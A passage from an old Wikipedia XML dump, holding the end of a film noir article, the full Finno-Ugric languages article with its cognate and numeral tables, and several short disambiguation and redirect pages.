=====Plot/screenwriting elements===== 
:Convoluted story line
:Use of flashbacks  
:Murder or heist at the center of the story  
:Spoken narrative  
:Betrayal or double-cross
:Story told from criminal's perspective
:False accusation (or fear of same)  
:Sexual relationships vs. plot development
:Hard-boiled dialogue/repartee  
:Bleak ending.  Some writers will not consider a noir to be truly authentic without a bleak ending, such as the end of ''[[Scarlet Street]]''.  Some &quot;noir&quot; films end with happy, but somewhat bleak endings, such as ''[[Pitfall (1948 film)|Pitfall]]'' where the protagonist's life ultimately is turned upside down and his marriage is badly damaged -- but he's alive.

==Further reading==
* Christopher, Nicholas. ''Somewhere in the Night: Film Noir and the American City.'', Free Press, 1997
* Copjec, Joan, ed., ''Shades of Noir'', Verso, 1993
* Hannsberry, Karen Burroughs,  ''Femme Noir: Bad Girls of Film'', McFarland, 1998
* Hannsberry, Karen Burroughs, ''Bad Boys: The Actors of Film Noir'', McFarland, 2003
* Hirsch, Foster, ''The Dark Side of the Screen: Film Noir''
* Kaplan, E. Ann, ed., ''Women in Film Noir'', University of California Press, 1999
* [[Eddie Muller|Muller, Eddie]], ''Dark City: The Lost World of Film Noir''
* Naremore, James, ''More Than Night: Film Noir in Its Contexts''
* Neale, Steve,  ''Genre and Hollywood'', Routledge, 2000
* Rabinowitz, Paula ''Black &amp; White &amp; Noir: America's Pulp Modernism'', Columbia University Press 2002
* [[Paul Schrader|Schrader, Paul]], &quot;Notes on Film Noir.&quot;, ''Film Comment'' 198?
* Silver, Alain et al, eds, ''The Film Noir Reader'', Vol. 1-4
* Silver, Alain and Elizabeth M. Ward, eds, ''Film Noir: An Encyclopedic Reference to the American Style''
* Silver, Alain, ''The Noir Style''

==See also==
*[[Neo-noir]]
*[[Pulp noir]]

==External links==
*[http://www.panbello.com/WebNoir6_List_of_Films_Noir.html List of Films Noir]
*[http://www.lib.berkeley.edu/MRC/Noirbib.html Film Noir Bibliography (via UC Berkeley)]
*[http://www.angelfire.com/oh2/writer/Shadows1.html The Shadows of Film Noir by Brian W. Fairbanks]
* {{cite web
 | url = http://www.filmsite.org/filmnoir.html
 | title = Film Noir
 | work = filmsite.org
 | accessyear = 2005
 | accessdate = March 23
 }}
* {{cite web
 | url = http://www.imagesjournal.com/issue02/infocus/filmnoir.htm
 | title = Film Noir: An Introduction
 | work = Images Journal
 | accessyear = 2005
 | accessdate = March 23
 }}
* {{cite web
 | url = http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/19950130/COMMENTARY/11010314/1023
 | title = A Guide to ''Film Noir'' Genre
 | publisher = Rogerebert.com
 }}
* [http://www.greencine.com/static/primers/noir.jsp GreenCine primer on Film Noir]

&lt;!-- Interwiki links --&gt;

[[Category:Film genres]]
[[Category:Film noir]]
[[Category:Film styles]]
[[Category:French phrases]]
[[Category:Neo-noir]]

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  <page>
    <title>Finno-Ugric languages</title>
    <id>10803</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41283639</id>
      <timestamp>2006-02-26T07:16:04Z</timestamp>
      <contributor>
        <username>Eszett</username>
        <id>12876</id>
      </contributor>
      <comment>/* Common vocabulary */ you'd think this'd be done by now :&lt;</comment>
      <text xml:space="preserve">[[Image:Finno_Ugric_Languages.png|thumb|490px|Approximate geographical distribution of areas where indigenous Finno-Ugric languages are spoken. Diagonal patterns indicate sparsely populated areas. Dotted lines mark boundaries of corresponding subnational administrative units.]]
The '''Finno-Ugric languages''' form a subfamily of the [[Uralic languages]]. The majority of linguists believe that [[Hungarian language|Hungarian]], [[Finnish language|Finnish]] and [[Estonian language|Estonian]], among other languages, should be included in the group. Unlike most of the other languages spoken in [[Europe]], the Finno-Ugric languages are not part of the [[Indo-European]] family of languages. The Uralic languages also include the [[Samoyedic languages]], and some linguists use the terms Finno-Ugric and Uralic as synonyms. Many of the smaller Finno-Ugric languages are endangered and near extinction.

==Origins==
The &quot;[[Urheimat]]&quot; of [[Proto-Finno-Ugric]], the hypothetical [[proto-language]] of the modern Finno-Ugric languages, cannot be located with any certainty. The area which lies in what is now central and northern European Russia (i.e., west of the [[Ural mountains]]) is generally assumed as a likely candidate, at a time of maybe the [[3rd millennium BC]]. This is based on the [[linguistic migration theory]], which appears to suggest a &quot;centre of gravity&quot; somewhere around the middle [[Volga River]], and on reconstructed plant and animal names (notably including [[spruce]], [[Siberian pine]], [[Siberian Fir]], [[Siberian larch]], [[brittle willow]]/[[elm]], and [[hedgehog]]). Reconstructed Proto-Finno-Ugric contains [[Indo-Iranian languages|Indo-Iranian]] [[loanword]]s, notably the words for &quot;honeybee&quot; and &quot;honey&quot;, probably from the time when Indo-Iranian tribes (such as [[Scythians]] and [[Sarmatians]]) inhabited the Eurasian steppes.

There is evidence that before the arrival of the [[Slavic tribes|Slavic speaking tribes]] to the area of modern-day [[Russia]], speakers of Finno-Ugric languages may have been scattered across the whole area between the Urals and the [[Baltic Sea]]. This was the distribution of the [[Comb Ceramic Culture]], a stone age culture which appears to have corresponded to the Finno-Ugric speaking populations, c. [[4200 BC]]&amp;ndash;c. [[2000 BC]].

There have been attempts to relate the Finno-Ugric languages to the [[Indo-European languages]], but there are not enough similarities to link them with any certainty. Similar inflectional endings exist, but whether or not they are genetically related is not resolvable. Common lexicon not attestable to borrowing is thin, and no sound laws are established. Conversely, there have been suggestions that the [[Germanic languages]] evolved from an Indo-European language such as [[Celtic languages|Celtic]] imposed on a [[Finnic]] [[Substratum|substrate]], but no satisfactory proof yet exists. 

A portion of the Baltic-Finnic lexicon is not shared with the remaining Finno-Ugric languages and may be due to a pre-Finnic [[Substratum|substrate]], which may coincide in part with the substrate of the [[Indo-European]] [[Baltic languages]]. As far as the [[Sami people|Sami]] (''Lappic'') languages are concerned, a hypothesis has been advanced that the ancestors of the [[Sami people|Sami]] originally spoke a different language, but adopted their current tongue under the pressure of their Finnic-speaking neighbours.

According to data obtained in several representative studies on the genes of Europeans, strong presence of genetic lines which can be associated with the modern Finnic-speaking peoples are found throughout northern Europe from the British Isles to the Ural area.

According to the interpretation of the geneticists who conducted the study, the ancestors of modern Germanic and Slavic-speaking peoples were in fact largely speakers of Finno-Ugric languages at some earlier time. Weak presence of the genes which could associate them with, for example, the earliest Indo-European peoples indicates that the Indo-European languages were taken over from more advanced, but less numerous, newcomers as a part of &quot;cultural package&quot; at the time of the Neolithic Revolution - shift from gathering to agriculture. Thus, the Finno-Ugric languages and their modern speakers do not originate in the area near Ural mountains, but rather likely were one of the three indigenous European ethnic groups, which together provided about 80% of modern European genetic material. Proto-Finno-Ugric was perhaps the original language of North-East Europe. Going back further in time, according to Kalevi Wiik, the earliest Finno-Ugric speakers and their languages were likely to originate from the territory of modern Ukraine (so-called “Ukrainian refuge”) during the last [[Ice Age|glacial period]], when the whole northern Europe was covered with ice. 

It should be noted that genes do not necessarily correlate with languages, and that many of the above interpretations given by the geneticists are not accepted by the majority of archaeologists and linguists, most of whom still put the Finno-Ugric Urheimat in the central or northeastern part of European Russia or the area of the [[Ural Mountains]] in the [[Bronze Age]], identifying it with the [[Comb Ceramic culture]]. Wiik’s interpretation of Neolithic farmers as early Indo-Europeans also contradicts the prevailing [[Kurgan hypothesis]].

Wiik also ignores all the most plausible results of linguistics. Nowadays we know that the languages of pre-Indo-European Central Europe had not the slightest resemblance to the Uralic languages. Thus Wiik's view is unscientific.

==History==
The first mention of a Uralic people is in [[Tacitus]]' ''[[Germania (book)|Germania]]'', mentioning the Finns as adjacent to Germanic territory. In the late [[15th century]], European scholars noted the resemblance of the names ''Hungaria'' and ''Yugria'', the names of settlements east of the Ural. They assumed a connection, but did not look into linguistic evidence. In [[1671]], [[Sweden|Swedish]] scholar [[Georg Stiernhielm]] commented on the similarities of Lapp, Estonian and Finnish, and also on a few similar words in Finnish and Hungarian, while the [[Germany|German]] scholar [[Martin Vogel]] tried to establish a relationship between Finnish, Lapp and Hungarian. These two authors were thus the first to outline what was to become the classification of a Finno-Ugric family. In [[1717]], Swedish professor [[Olaus Rudbeckius, Jr.|Olof Rudbeck]] proposed about 100 etymologies connecting Finnish and Hungarian, of which about 40 are still considered valid (Collinder, 1965). In the same year, the German scholar [[J. G. von Eckhart]] (published in [[Gottfried Leibniz|Leibniz]]' ''Collectanea Etymologica'') for the first time proposed a relation to the [[Samoyedic]] languages. By [[1770]], all constituents of Finno-Ugric were known, almost 20 years before the traditional starting-point of [[Indo-European studies]].  Nonetheless, these relationships were not widely accepted.  Especially Hungarian intellectuals were not interested in the theory and preferred to assume connections with [[Turkic peoples|Turkic]] tribes, an attitude characterized by Ruhlen (1987) as due to &quot;the wild unfettered Romanticism of the epoch&quot;. Still, in spite of the hostile climate, the Hungarian [[Society of Jesus|Jesuit]] J. Sajnovics suggested a relationship of Hungarian and Lapp in 1770, and in [[1799]], the Hungarian [[Samuel Gyarmathi]] published the most complete work on Finno-Ugric to that date. 

At the beginning of the [[19th century]], research on Finno-Ugric was thus more advanced than Indo-European research. But the rise of Indo-European comparative linguistics absorbed so much attention and enthusiasm that Finno-Ugric linguistics was all but eclipsed in Europe; in Hungary, the only European country that would have had a vested interest in the family (Finland and Estonia being [[Imperial Russia|under Russian rule]]), the political climate was too hostile for the development of Uralic comparative linguistics. Some progress was made, however, culminating in the work of the German [[Jozsef Budenz]], who for 20 years was the leading Finno-Ugric specialist in Hungary. Another late-19th-century contribution is that of Hungarian linguist [[Ignac Halasz]], who published extensive comparative material of Finno-Ugric  and Samoyedic in the [[1890s]], and whose work is at the base of the wide acceptance of the Samoyed-Finno-Ugric relationship today.

During the [[1990s]], linguists Kalevi Wiik, Janos Pusztay and Ago Künnap and historian Kyösti Julku announced a &quot;breakthrough in Present-Day Uralistics&quot;, dating Proto-Finnic to 10,000 BC.  The theory was almost entirely unsuccessful in the scientific community (cf. Merlijn de Smit, see external links).

==Structural features==
All of the Finno-Ugric languages share structural features and basic vocabulary. Around 200 basic words have been proposed and include word stems for concepts related to humans such as names for relatives and body parts.  This common vocabulary includes, according to [[Lyle Campbell]], at least 55 words related to fishing, 33 related to hunting and eating animals, 12 related to [[reindeer]], 17 related to plant foods, 31 related to technology, 26 related to building, 11 related to clothing, 18 related to climate, 4 related to society, 11 related to religion, and 3 related to commerce, giving an interesting picture of proto-Finno-Ugric society.

The structural features are seen by linguists as strong evidence for a common ancestry. These include [[inflection]] by adding [[suffix]]es (instead of [[preposition]]s in [[English language|English]]). The Finno-Ugric languages are also famous for having a large number of  grammatical [[Declension|cases]], of which Finnish has at least 15 and Hungarian has at least 24.

Another feature of the Finno-Ugric languages is that [[verb]]s are [[Inflection|inflected]], i.e. [[Grammatical conjugation|conjugated]], by person and number. (This is the familiar way verbs are conjugated in most [[Indo-European languages]]; but [[Chinese language|Chinese]], [[Vietnamese language|Vietnamese]] and other [[isolating language]]s do not share this feature.)

Finally, the Finno-Ugric languages lack [[possessive adjective]]s and [[possessive pronoun]]s, such as ''my'' and ''your'', communicating the same information via [[declension]]. In some languages, the [[Genitive case|genitive]] of the personal pronoun is used to express possession. Examples: [[Estonian language|Estonian]] ''mu koer'' 'my dog' (literally 'I-gen. dog'), [[Northern Sami]] ''mu beana'' 'my dog' (literally 'I-gen. dog') or ''beatnagan'' 'my dog' (literally 'dog-my'). In others, a pronominal suffix is used, optionally together with the genitive case of a pronoun: thus [[Finnish language|Finnish]] ''(minun) koirani'', 'my dog' (literally 'I-gen. dog-my'), from ''koira'' &quot;dog&quot;.  Similarly, Hungarian, lacking possessive adjectives, uses possessive noun suffixes, optionally together with pronouns; cf. 'the dog' = ''a kutya'' vs. 'my dog' = ''az én kutyám'' (literally, 'the I dog-my') or simply ''a kutyám'' (literally, 'the dog-my').  [[Hungarian language|Hungarian]], however, does have independent possessive pronouns; e.g. ''enyém'' 'mine', ''tiéd'' 'yours', etc. These are declined; e.g. [[Nominative case|nom.]] ''enyém'', [[Accusative case|acc.]] ''enyémet'', [[Dative case|dat.]] ''enyémnek'', etc.

==Classification==
It is generally agreed that the '''Finno-Ugric''' subfamily of the [[Uralic languages]] has the following members:

'''[[Ugric languages|Ugric]]''' (Ugrian)
* Hungarian
** [[Hungarian language|Hungarian]]
* Ob Ugric (Ob Ugrian)
** [[Khanty language|Khanty]] (''Ostyak'')
** [[Mansi language|Mansi]] (''Vogul'')
'''[[Finno-Permic languages|Finno-Permic]]''' (Permian-Finnic)
* [[Permic languages|Permic]] (Permian)
** [[Komi-Zyrian language|Komi]] (''Komi-Zyrian'', ''Zyrian'')
** [[Komi-Permyak language|Komi-Permyak]]
** [[Udmurt language|Udmurt]] (''Votyak'')
* [[Finno-Volgaic languages|Finno-Volgaic]] (Finno-Cheremisic, Finno-Mari, Volga-Finnic)
** Mari (Cheremisic)
*** [[Mari language|Mari]] (''Cheremis'')
** [[Mordvinic languages|Mordvinic]] (Mordvin, Mordvinian)
*** [[Erzya language|Erzya]]
*** [[Moksha language|Moksha]]
** Extinct Finno-Volgaic languages of uncertain position
***[[Merya language|Merya]] (position uncertain, extinct)
***[[Meshcherian language|Meshcherian]] (position uncertain, extinct)
***[[Muromian language|Muromian]] (position uncertain, extinct)
** [[Finno-Lappic languages|Finno-Lappic]] (Finno-Saamic, Finno-Samic)
*** [[Sami languages|Sami]] (Samic, Saamic, ''Lappic'', ''Lappish'')
**** Western Sami (Western Samic)
***** [[Southern Sami]]
***** [[Ume Sami]] — Nearly extinct
***** [[Lule Sami]]
***** [[Pite Sami]] — Nearly extinct
***** [[Northern Sami]]
**** Eastern Sami (Eastern Samic)
***** [[Kainuu Sami]] — Extinct
***** [[Kemi Sami]] — Extinct
***** [[Inari Sami]]
***** [[Akkala Sami]] — Nearly extinct
***** [[Kildin Sami]]
***** [[Skolt Sami]]
***** [[Ter Sami]] — Nearly extinct
*** [[Baltic-Finnic languages|Baltic-Finnic]] (Balto-Finnic, Balto-Fennic, Finnic, Fennic)
**** [[Estonian language|Estonian]]
**** [[Finnish language|Finnish]] - including [[Meänkieli]] (a.k.a. ''Tornedalen'' or ''[[Tornedalian]]'' Finnish), [[Kainu]] (a.k.a. ''[[Kven]]'' Finnish) and [[Ingrian Finnish]]
**** [[Izhorian language|Izhorian]] (Ingrian) - Nearly extinct
**** [[Karelian language|Karelian]]
***** [[Karelian language|Karelian]] proper
***** [[Ludic language|Lude]] (Ludic, Ludian)
***** [[Olonets Karelian]] (Livvi, Aunus, Aunus Karelian, Olonetsian)
**** [[Livonian language|Livonian]] (Liv) — Nearly extinct
**** [[Veps language|Veps]] (Vepsian)
**** [[Votic language|Votic]] (Votian, Vod) — Nearly extinct
**** [[Võro language|Võro]] and [[Seto language|Seto]] (sometimes considered dialects of [[Estonian language|Estonian]])

===Disputes===
The classification of Finno-Ugric within Uralic, and of Finnic and Ugric within Finno-Ugric, is accepted by practically all scholars. Dispute is at present largely confined to the Finno-Permic family, surrounding different proposals for the arrangement of the its subgroups and regarding the validity of the ''Volgaic'' group. 

The term Volgaic denoted a branch believed to include Mari and Mordvinic languages, but it has now become obsolete: research has shown that it was a geographic classification rather than a linguistic one.  The Mordvinic languages are more closely related to the Finno-Lappic languages than they are to the Mari languages.

Another dispute surrounds the affinity of the [[Yukaghir languages]], which is traditionally regarded as a [[language isolate]], with some scholars proposing a strong affinity to Uralic (Collinder, 1965). 

The relation of the Finno-Permic and the Ugric groups is remote by some standards.  With a time depth of only 3 or 4 thousand years, it is far younger than many major families such as [[Indo-European languages|Indo-European]] or [[Semitic languages|Semitic]], and about the same age as, for instance, the [[Eastern Nilotic languages|Eastern]] subfamily of [[Nilotic languages|Nilotic]].  But the grouping is still far from transparent &amp;mdash; the absence of early records constitutes an obstacle to exact reconstruction not found in, for example, Indo-European or Semitic. While much has been speculatively deduced about the Finno-Ugric [[Urheimat]], little is certain, and, of course, the relatedness of the languages does not necessarily imply any racial or cultural unity of the peoples speaking them.

Linguists criticizing the Finno-Ugric group (e.g. Angela Marcantonio, see [[Finno-Ugric languages#References|References]]) believe that Ugric and Finnic are more distantly related than proponents advertise, and possibly are no closer than the Turkic and Ugric groups.  These linguists propose an [[Ural-Altaic hypothesis|Ural-Altaic]] supergroup. Such proposals do not contest the ultimate relatedness of Finno-Ugric, but rather try to include more languages (on even more tenuous grounds) into the family. Other supergroups have been advanced (Uralo-Dravidian, Finno-Basque, Hungaro-Sumerian) but are almost universally regarded as spurious.

==Common vocabulary==

This is a small sample of [[cognate]]s in basic vocabulary across Uralic, illustrating the sound laws (based on the ''Encyclopædia Britannica'' and Hakkinen 1979).  Note that in general two cognates don't have the same meaning; they merely have the same origin.  Thus, the English word in each row should be regarded as an approximation of the original meaning, not a translation of the other words.

{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot; cellpadding=&quot;3&quot;
|-
! style=&quot;background-color: #EFEFFF&quot; | [[English language|English]]
! style=&quot;background-color: #EFEFFF&quot; | [[Finnish language|Finnish]]
! style=&quot;background-color: #EFEFFF&quot; | [[Estonian language|Estonian]]
! style=&quot;background-color: #EFEFFF&quot; | [[Northern Sami|North Sami]]
! style=&quot;background-color: #EFEFFF&quot; | [[Inari Sami]]
! style=&quot;background-color: #EFEFFF&quot; | [[Mari language|Mari]]
! style=&quot;background-color: #EFEFFF&quot; | [[Komi language|Komi]]
! style=&quot;background-color: #EFEFFF&quot; | [[Khanty language|Khanty]]
! style=&quot;background-color: #EFEFFF&quot; | [[Hungarian language|Hungarian]]
! style=&quot;background-color: #EFEFFF&quot; | Finno-Ugric reconstruction
|-
| heart
| sydän, ''sydäm''-
| süda, ''südam''-
| čotta, čoddaga
| -
| šüm
| śələm
| səm
| szív
| *śiδä(-mɜ) / *śüδä(-mɜ)
|-
| lap
| syli
| süli
| salla, sala
| solla
| šəl
| syl
| jöl
| öl
| *süle / *sile
|-
| vein
| suoni
| soon
| suotna, suona
| suona
| šön
| sən
| jan
| ín 'sinew, tendon'
| *sōne / *se̮ne
|-
| go
| mennä, ''men''-
| minna, ''min''-
| mannat
| moonnađ
| mije-
| mun-
| mən-
| menni, megy
| *mene-
|-
| fish
| kala
| kala
| guolli, guoli
| kyeli
| kol
| -
| kul
| hal
| *kala
|-
| hand
| käsi, ''käte''-&lt;br&gt;gen. käden, part. kättä
| käsi, ''kät''-&lt;br&gt;gen. käe, part. kätt
| giehta, gieđa
| kieta
| kit
| ki
| köt
| kéz
| *käte
|-
| eye
| silmä
| silm
| čalbmi, čalmmi
| čalme, šalme
| šinča
| śin
| sem
| szem
| *śilmä
|-
| one
| yksi, ''yhte''-&lt;br&gt;gen. yhden, part. yhtä
| üks, ''üht''-&lt;br&gt;gen. ühe, part. üht(e)
| okta, ovtta
| ohta
| ikte
| ət'ik
| ĭt
| egy
| *ykte
|-
| two
| kaksi, ''kahte''-&lt;br&gt;gen. kahden, part. kahta
| kaks, ''kaht''-&lt;br&gt;gen. kahe, part. kaht(e)
| guokte
| kyeh´ti
| kokət
| kyk
| kät
| kettő/két
| *kakta / *käktä
|-
| three
| kolme
| kolm
| golbma
| kulma
| kumət
| kujim
| koləm
| három
| *kolme / *kulme
|-
| ice
| jää
| jää
| jiekŋa, jieŋa
| jiena
| ij
| ji
| jöŋk
| jég
| *jäŋe
|-
| louse
| täi
| täi
| dihkki
| tikke
| tij
| toj
| tögtəm
| tetű
| ?
|}

(Orthographical notes: The hacek (š) denotes postalveolar articulation, while the accent (ś) denotes a secondary palatal articulation. The Finnish letter 'y' [y] represents the same phoneme (a rounded or centralized [i]) as the letter 'ü' in other languages. The voiced dental spirant [ð] is the origin of the standard Finnish 'd', which is realized differently in each dialect today. The same sound is marked with the letter đ in the Sami languages. The Sami 'č' is a voiceless postalveolar affricate [&amp;#679;]. Hungarian 'gy' is the palatalized [d&amp;#690;], not a 'g'.) 

===Numbers===
The numbers from 1 to 10 in Finnish, Estonian, Võro, North Sami, Erzya, Meadow Mari, Mansi, Hungarian, and Proto-Finno-Ugric.

{| style=&quot;border-collapse:collapse&quot; border=&quot;1&quot; cellpadding=&quot;3&quot;
|-
! Number
! Finnish
! Estonian
! Võro
! North Sami
! Inari Sami
! Erzya
! Meadow Mari
! Mansi
! Hungarian
! Proto-F-U
|-
| 1
| yksi
| üks
| ütś
| okta
| ohta
| vejke
| ikte
| akva
| egy
| *ykte
|-
| 2
| kaksi
| kaks
| katś
| guokte
| kyeh´ti
| kavto
| kokət
| kityg
| kettő
| *kakte
|-
| 3
| kolme
| kolm
| kolm
| golbma
| kulma
| kolmo
| kumət
| hurum
| három
| *kolm-
|-
| 4
| neljä
| neli
| nelli
| njeallje
| nelji
| ńiľe
| nələt
| nila
| négy
| *neljä-
|-
| 5
| viisi
| viis
| viiś
| vihtta
| vitta
| veƭe
| wizət
| at
| öt
| *vit(t)e
|-
| 6
| kuusi
| kuus
| kuuś
| guhtta
| kutta
| koto
| kuδət
| hot
| hat
| *kut(t)e
|-
| 7
| seitsemän
| seitse
| säidse
| čieža
| čiččam
| śiśem
| šəmət
| sat
| hét
| n/a
|-
| 8
| kahdeksan
| kaheksa
| katõsa
| gávcci
| käävci
| kavkso
| kandaš(e)
| ńololov
| nyolc
| n/a
|-
| 9
| yhdeksän
| üheksa
| ütesä
| ovcci
| oovce
| vejkse
| indeš(e)
| ontolov
| kilenc
| n/a
|-
| 10
| kymmenen
| kümme
| kümme
| logi
| love
| kemeń
| lu
| lov
| tíz
| n/a
|}

One reconstruction for numbers 8 and 9 is *''kak+teksa'' '10&amp;ndash;2' and *''yk+teksa'' '10&amp;ndash;1', where *''teksa'' cf. ''deka'' is a Indo-European loan; notice that the difference between /t/ and /d/ is not phonemic, unlike in Indo-European.

===Finno-Ugric [[Swadesh list]]s===

100-word Swadesh lists for certain Finno-Ugric languages can be compared and contrasted at the [[Rosetta Project]] website:
[http://64.81.54.21:8080/live/search/contribute/swadesh/view?ethnocode=FIN Finnish], [http://64.81.54.21:8080/live/search/contribute/swadesh/view?ethnocode=EST Estonian], [http://64.81.54.21:8080/live/search/contribute/swadesh/view?ethnocode=HNG Hungarian], [http://64.81.54.21:8080/live/search/contribute/swadesh/view?ethnocode=MYV Erzya].
Notice that particularly the Finnish list is unreliable, because it contains several neologisms or formal words, e.g. ''henkilö'' (from ''henki'' life + place suffix) instead of the more commonly used ''ihminen'', which is a Baltic Finnic word. The Finnish list has also spelling errors suggesting it was compiled by a person who does not know Finnish.

==See also==
* [[Uralic languages]]
* [[Uralo-Siberian languages]]

==External links==

* [http://www.helsinki.fi/~jolaakso/fgrlinks.html Some Finno-Ugrian links] A more comprehensive link collection
* [http://www.helsinki.fi/~jolaakso/fufaq.html FAQ about Finno-Ugrian Languages]
&lt;!--* [http://users.cwnet.com/millennia/UAETY.html Ural-Altaic-Sumerian Etymological Dictionary] the subpages do not seem to work--&gt;
* [http://homepage.univie.ac.at/Johanna.Laakso/am_rev.html Linguistic Shadow-Boxing] Johanna Laakso's book review of Angela Marcantonio's &quot;The Uralic language family. Facts, myths and statistics&quot;
*[http://www.geocities.com/isolintu/voodoo.html Uralic Linguistics Vs. Voodoo Science!] A collection of links about the &quot;new paradigm&quot; debate by Merlijn de Smit
*[http://www.zompist.com/asia.htm Numbers in Asian languages] Counting to ten in a variety of languages
*[http://ugri.info/ Ugri.info Finno-Ugric peoples infobase]
*Finno-Ugric Electronic Library by the Finno-Ugric Information Center in [[Syktyvkar]], [[Komi Republic]] (interface in Russian and English, texts in [[Mari language|Mari]], [[Komi language|Komi]], [[Udmurt language|Udmurt]], [[Erzya language|Erzya]] and [[Moksha language|Moksha]] languages): http://library.finugor.ru/
*[http://www.economist.com/World/europe/displayStory.cfm?story_id=5323735  The Finno-Ugrics:The dying fish swims in water] [[The Economist]], Dec 20th 2005

==References==
* Benkő, Loránd: Etymologisches Wörterbuch des Ungarischen ([[Etymological Dictionary]] of Hungarian). Budapest: Akadémiai Kiadó, 1992-1997., ISBN 9630562278
* Collinder, Björn: Fenno-Ugric Vocabulary. Uppsala, 1955, ISBN 3871181870.
* Collinder, Björn: An introduction to the Uralic languages. Berkely, California
* Campbell, Lyle: ''Historical Linguistics: An Introduction''. Edinburgh University Press 1998.
* Csepregi Márta (ed.): Finnugor kalauz (Finno-Ugric Guide). Budapest: Panoráma, 1998., ISBN 9632438620
* [[Encyclopædia Britannica]] 15th ed.: Languages of the World: Uralic languages. Chicago, 1990.
* Häkkinen, Kaisa: ''Suomalais-ugrilaisten kielten etymologisen tutkimuksen asemasta ja ongelmista'' (''About the situation and problems of the etymological research of the Finno-Ugric languages'') (1979), in Nykysuomen rakenne ja kehitys (Structure and development of modern Finnish) volume 2, (NRJK 2) Pieksämäki 1984, ISBN 951-717-360-1.
* Laakso, Johanna: Karhunkieli. Pyyhkäisyjä suomalais-ugrilaisten kielten tutkimukseen (A Bear Tongue. Views on the Research of the Finno-Ugric Languages). Helsinki: SKS, 1999.
* Laakso, Johanna (ed.): Uralilaiset kansat (Uralic Peoples). [[Porvoo]] - [[Helsinki]] - [[Juva]]: WSOY, 1992, ISBN 951-0-16485-2.
* Marcantonio, Angela: What Is the Linguistic Evidence to Support the Uralic Theory or Theories? - In ''Linguistica Uralica'' 40, 1, pp 40-45, 2004.
* Marcantonio, Angela: The Uralic Language Family: Facts, Myths and Statistics. 2003.
* Marcantonio, Angela, Pirjo Nummenaho, and Michela Salvagni: The &quot;Ugric-Turkic Battle&quot;: A Critical Review. In ''Linguistica Uralica'' 37, 2, pp 81-102, 2001. [http://www.kirj.ee/esi-l-lu/l37-2-1.pdf Online version].
* Ruhlen, Merritt, A Guide to the World's languages, Stanford, California (1987), pp. 64&amp;ndash;71.
* Sammallahti, Pekka: Historical phonology of the Uralic languages. - In: Denis Sinor (ed.), ''The Uralic languages. Description, history and foreign influences.'' Leiden - New York - København - Köln: Brill, 1998.
* Sammallahti, Pekka, Matti Morottaja: Säämi - suoma - säämi škovlasänikirje ([[Inari Sami]] - [[Finnish language|Finnish]] - [[Inari Sami]] School Dictionary). [[Helsset]]/[[Helsinki]]: Ruovttueatnan gielaid dutkanguovddaš/Kotimaisten kielten tutkimuskeskus, 1983, ISBN 951-9475-36-2.
* Sammallahti, Pekka: Sámi - suoma - sámi sátnegirji ([[Northern Sami]] - [[Finnish language|Finnish]] - [[Northern Sami]] Dictionary). [[Ohcejohka]]/[[Utsjoki]]: Girjegiisá, 1993, ISBN 951-8939-28-4.
* Sinor, Denis (ed.): ''Studies in Finno-Ugric Linguistics: In Honor of Alo Raun'' (Indiana University Uralic and Altaic Series : Volume 131). Indiana Univ Research, 1977, ISBN 0933070004.
* Vikør, Lars S. (ed.): Fenno-Ugric. In: ''The Nordic Languages. Their Status and Interrelations''. Novus Press, pp. 62-74, 1993.
* Wiik, Kalevi: ''Eurooppalaisten juuret'', Atena Kustannus Oy. Finland, 2002.

* Языки народов СССР III. Финно-угорские и самоитйские языки (Languages of the Peoples in the USSR III. Finno-Ugric and Samoyedic Languages). Москва (Moscow): Наука (Nauka), 1966.
* A magyar szókészlet finnugor elemei. Etimológiai szótár (The Hungarian Vocabulary of Finno-Ugric Origin. [[Etymological Dictionary]]). Budapest: Akadémiai Kiadó, 1967-1978.

[[Category:Finno-Ugric languages]]

[[cv:Финн-угр чĕлхисем]]
[[de:Finno-ugrische Sprachen]]
[[et:Soome-ugri keeled]]
[[eo:Finn-ugra lingvaro]]
[[fr:Langues finno-ougriennes]]
[[is:Finnsk-úgrísk tungumál]]
[[hu:Finnugor nyelvek]]
[[mo:Лимбиле фино-угриче]]
[[nl:Finoegrische talen]]
[[nn:Finsk-ugriske språk]]
[[pl:Języki ugrofińskie]]
[[ro:Limbile fino-ugrice]]
[[ru:Финно-угорские языки]]
[[se:Suopmelaš-ugralaš gielat]]
[[sk:Ugrofínske jazyky]]
[[sl:Ugrofinski jeziki]]
[[fi:Suomalais-ugrilaiset kielet]]
[[sv:Finsk-ugriska språk]]
[[uk:Угрофінські мови]]</text>
    </revision>
  </page>
  <page>
    <title>Finnish</title>
    <id>10804</id>
    <revision>
      <id>40604404</id>
      <timestamp>2006-02-21T19:46:08Z</timestamp>
      <contributor>
        <username>Zondor</username>
        <id>73244</id>
      </contributor>
      <comment>[[Finnic]]</comment>
      <text xml:space="preserve">'''Finnish''' may refer to:

* [[Finland]], a European country.
* [[Finnish people]] indicating ethnicity.
* [[Finnish language]].

==See also==
* [[Finnic]], present-day English usage of peoples particularly in Finland and Estonia

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Finnish language/history</title>
    <id>10805</id>
    <revision>
      <id>15908599</id>
      <timestamp>2004-02-29T02:55:24Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Finnish_language#History]]</text>
    </revision>
  </page>
  <page>
    <title>Fermanagh</title>
    <id>10806</id>
    <revision>
      <id>27180039</id>
      <timestamp>2005-11-02T18:44:17Z</timestamp>
      <contributor>
        <username>Whobot</username>
        <id>393532</id>
      </contributor>
      <comment>null edit</comment>
      <text xml:space="preserve">#REDIRECT [[County Fermanagh]]</text>
    </revision>
  </page>
  <page>
    <title>Freestyle music</title>
    <id>10808</id>
    <revision>
      <id>42137996</id>
      <timestamp>2006-03-04T01:51:25Z</timestamp>
      <contributor>
        <username>Iamthejabberwock</username>
        <id>531901</id>
      </contributor>
      <minor />
      <comment>removed hypen from &quot;hip-hop&quot; - see [[Talk:Hip_hop_music#why_it_should_be_moved|this page]] for details</comment>
      <text xml:space="preserve">{{dablink|This article is about a genre of [[dance music]]. For the freestyle form of [[rapping]] in music, see [[Freestyle rap]].}}

